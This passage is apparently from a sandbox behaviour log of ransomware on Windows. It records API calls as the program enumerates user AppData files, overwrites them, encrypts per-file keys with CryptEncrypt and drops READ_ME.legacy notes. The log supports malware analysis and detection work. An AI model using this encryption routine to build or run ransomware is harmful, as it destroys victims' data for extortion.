(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\onesettings_waas_featuremanagement\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.666] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\onesettings_waas_featuremanagement\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\onesettings_waas_featuremanagement\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c14 [0193.666] GetFileSizeEx (in: hFile=0x1c14, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.666] ReadFile (in: hFile=0x1c14, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.666] SetFilePointer (in: hFile=0x1c14, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.666] WriteFile (in: hFile=0x1c14, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.666] SetFilePointer (in: hFile=0x1c14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.667] WriteFile (in: hFile=0x1c14, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.667] WriteFile (in: hFile=0x1c14, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.668] CloseHandle (hObject=0x1c14) returned 1 [0193.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.669] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\onesettings_waas_featuremanagement\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.669] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\onesettings_waas_featuremanagement\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\onesettings_waas_featuremanagement\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c14 [0193.670] GetFileSizeEx (in: hFile=0x1c14, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.670] ReadFile (in: hFile=0x1c14, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.670] SetFilePointer (in: hFile=0x1c14, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.670] WriteFile (in: hFile=0x1c14, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.670] SetFilePointer (in: hFile=0x1c14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.670] WriteFile (in: hFile=0x1c14, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.671] WriteFile (in: hFile=0x1c14, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.671] CloseHandle (hObject=0x1c14) returned 1 [0193.674] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\280813\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9de3c89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xea1774fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc03b758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4a70 [0193.674] FindNextFileW (in: hFindFile=0x30d4a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9de3c89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xea1774fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc03b758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.674] FindNextFileW (in: hFindFile=0x30d4a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9de3c89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xea046217, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xea12b043, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x890, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="76c2f954cb8d4b4399c1ffc4efc3a907_1", cAlternateFileName="76C2F9~1")) returned 1 [0193.674] FindNextFileW (in: hFindFile=0x30d4a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc03b758, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfc03b758, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfc03b758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.674] FindNextFileW (in: hFindFile=0x30d4a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc03b758, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfc03b758, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfc03b758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.674] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.674] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\280813\\76c2f954cb8d4b4399c1ffc4efc3a907_1", dwFileAttributes=0x80) returned 1 [0193.674] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\280813\\76c2f954cb8d4b4399c1ffc4efc3a907_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\targetedcontentcache\\v3\\280813\\76c2f954cb8d4b4399c1ffc4efc3a907_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c18 [0193.675] GetFileSizeEx (in: hFile=0x1c18, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2192) returned 1 [0193.675] ReadFile (in: hFile=0x1c18, lpBuffer=0x2f6b898, nNumberOfBytesToRead=0x890, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6b898*, lpNumberOfBytesRead=0x2e1f9bc*=0x890, lpOverlapped=0x0) returned 1 [0193.684] SetFilePointer (in: hFile=0x1c18, lDistanceToMove=-2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.684] WriteFile (in: hFile=0x1c18, lpBuffer=0x582160*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x890, lpOverlapped=0x0) returned 1 [0193.685] SetFilePointer (in: hFile=0x1c18, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x890 [0193.685] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.685] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.685] WriteFile (in: hFile=0x1c18, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.685] WriteFile (in: hFile=0x1c18, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.685] CloseHandle (hObject=0x1c18) returned 1 [0193.687] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xfc0d41a9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4f30 [0193.687] FindNextFileW (in: hFindFile=0x30d4f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xfc0d41a9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.687] FindNextFileW (in: hFindFile=0x30d4f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2636207, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="appcache[1].man", cAlternateFileName="APPCAC~1.MAN")) returned 1 [0193.687] FindNextFileW (in: hFindFile=0x30d4f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2636207, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.687] FindNextFileW (in: hFindFile=0x30d4f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x64ab274a, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x4760, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_COOBE[1].html", cAlternateFileName="C__WIN~1.HTM")) returned 1 [0193.687] FindNextFileW (in: hFindFile=0x30d4f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x39619610, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x19c2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_CortanaIcon[1].png", cAlternateFileName="C__WIN~1.PNG")) returned 1 [0193.687] FindNextFileW (in: hFindFile=0x30d4f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc0d41a9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfc0d41a9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfc0fa264, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.687] FindNextFileW (in: hFindFile=0x30d4f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc0d41a9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfc0d41a9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfc0fa264, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.687] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.687] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.687] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_CortanaIcon[1].png", dwFileAttributes=0x80) returned 1 [0193.688] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_CortanaIcon[1].png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\2\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_coobe_cortanaicon[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c1c [0193.688] GetFileSizeEx (in: hFile=0x1c1c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6594) returned 1 [0193.688] ReadFile (in: hFile=0x1c1c, lpBuffer=0x33b4010, nNumberOfBytesToRead=0x19c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b4010*, lpNumberOfBytesRead=0x2e1f9bc*=0x19c2, lpOverlapped=0x0) returned 1 [0193.689] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=-6594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.690] WriteFile (in: hFile=0x1c1c, lpBuffer=0x60cbf0*, nNumberOfBytesToWrite=0x19c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19c2, lpOverlapped=0x0) returned 1 [0193.690] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19c2 [0193.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.690] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.690] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.690] CloseHandle (hObject=0x1c1c) returned 1 [0193.692] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.692] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.692] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_COOBE[1].html", dwFileAttributes=0x80) returned 1 [0193.692] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_COOBE[1].html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\2\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_coobe_coobe[1].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c1c [0193.692] GetFileSizeEx (in: hFile=0x1c1c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18272) returned 1 [0193.692] ReadFile (in: hFile=0x1c1c, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x4760, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x4760, lpOverlapped=0x0) returned 1 [0193.700] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=-18272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.700] WriteFile (in: hFile=0x1c1c, lpBuffer=0x30d9798*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4760, lpOverlapped=0x0) returned 1 [0193.700] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4760 [0193.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.700] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.701] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.701] CloseHandle (hObject=0x1c1c) returned 1 [0193.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\container.dat", dwFileAttributes=0x80) returned 1 [0193.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\2\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c1c [0193.703] GetFileSizeEx (in: hFile=0x1c1c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.703] ReadFile (in: hFile=0x1c1c, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.703] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.703] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.703] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, 